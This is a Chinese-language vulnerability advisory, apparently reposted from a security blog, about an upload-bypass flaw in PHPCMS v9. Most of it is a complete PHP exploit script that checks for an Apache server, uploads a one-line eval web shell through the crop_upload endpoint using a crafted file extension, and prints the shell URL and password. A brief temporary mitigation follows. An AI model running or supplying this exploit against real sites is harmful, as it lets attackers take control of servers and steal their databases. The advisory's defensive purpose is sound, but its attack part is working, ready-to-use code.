PHPCMS v9 文件后缀提取错误代码上传漏洞

漏洞版本:

Phpcms 9

漏洞描述:

PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。

PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件\phpcms\libs\functions\global.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. n3wF ()提供了如下测试方法:
  2. <?php
  3. error_reporting(E_ERROR);
  4. set_time_limit(0);
  5. $pass="ln";
  6. print_r('
  7. +---------------------------------------------------------------------------+
  8. PHPCms V9 GETSHELL 0DAY
  9.  
  10. code by L.N.
  11.  
  12. apache 适用(利用的apache的解析漏洞)
  13. +---------------------------------------------------------------------------+
  14. ');
  15. if($argc <2){
  16. print_r('
  17. +---------------------------------------------------------------------------+
  18. Usage: php '.$argv[0].' url path
  19.  
  20. Example:
  21. 1.php '.$argv[0].' lanu.sinaapp.com
  22. 2.php '.$argv[0].' lanu.sinaapp.com /phpcms
  23. +---------------------------------------------------------------------------+
  24. ');
  25. exit;
  26. }
  27.  
  28. $url = $argv[1];
  29. $path = $argv[2];
  30. $phpshell ='<?php @eval($_POST[\''.$pass.'\']);?>';
  31. $file ='1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
  32. if($ret=Create_dir($url,$path))
  33. {
  34. //echo $ret;
  35. $pattern ="|Server:[^,]+?|U";
  36. preg_match_all($pattern, $ret, $matches);
  37. if($matches[0][0])
  38. {
  39. if(strpos($matches[0][0],'Apache')==false)
  40. {
  41. echo "\n亲!此网站不是apache的网站。\n";exit;
  42. }
  43. }
  44. $ret =GetShell($url,$phpshell,$path,$file);
  45. $pattern ="|http:\/\/[^,]+?\.,?|U";
  46. preg_match_all($pattern, $ret, $matches);
  47. if($matches[0][0])
  48. {
  49. echo "\n".'密码为: '.$pass."\n";
  50. echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  51. }
  52. else
  53. {
  54. $pattern ="|\/uploadfile\/[^,]+?\.,?|U";
  55. preg_match_all($pattern, $ret, $matches);
  56. if($matches[0][0])
  57. {
  58. echo "\n".'密码为: '.$pass."\n";
  59. echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  60. }
  61. else
  62. {
  63. echo "\r\n没得到!\n";exit;
  64. }
  65. }
  66. }
  67.  
  68. functionGetShell($url,$shell,$path,$js)
  69. {
  70. $content =$shell;
  71. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
  72. $data .="Host: ".$url."\r\n";
  73. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  74. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  75. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  76. $data .="Connection: close\r\n";
  77. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
  78. $data .= $content."\r\n";
  79. $ock=fsockopen($url,80);
  80. if(!$ock)
  81. {
  82. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  83. }
  84. else
  85. {
  86. fwrite($ock,$data);
  87. $resp ='';
  88. while(!feof($ock))
  89. {
  90. $resp.=fread($ock,1024);
  91. }
  92. return $resp;
  93. }
  94. }
  95.  
  96. functionCreate_dir($url,$path='')
  97. {
  98. $content ='I love you';
  99. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
  100. $data .="Host: ".$url."\r\n";
  101. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  102. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  103. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  104. $data .="Connection: close\r\n";
  105. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
  106. $data .= $content."\r\n";
  107. $ock=fsockopen($url,80);
  108. if(!$ock)
  109. {
  110. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  111. }
  112. fwrite($ock,$data);
  113. $resp ='';
  114. while(!feof($ock))
  115. {
  116. $resp.=fread($ock,1024);
  117. }
  118. return $resp;
  119. }
  120. ?>

安全建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:

*可以暂时将文件phpcms\modules\attachment\attachments.php的第104行改为:

if(is_image($_GET['file'])== false || strpos(strtolower($_GET['file']),'.php')!==false) exit();

厂商补丁:

PHPCMS
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpcms.cn/
原文地址:https://www.cnblogs.com/security4399/p/2953570.html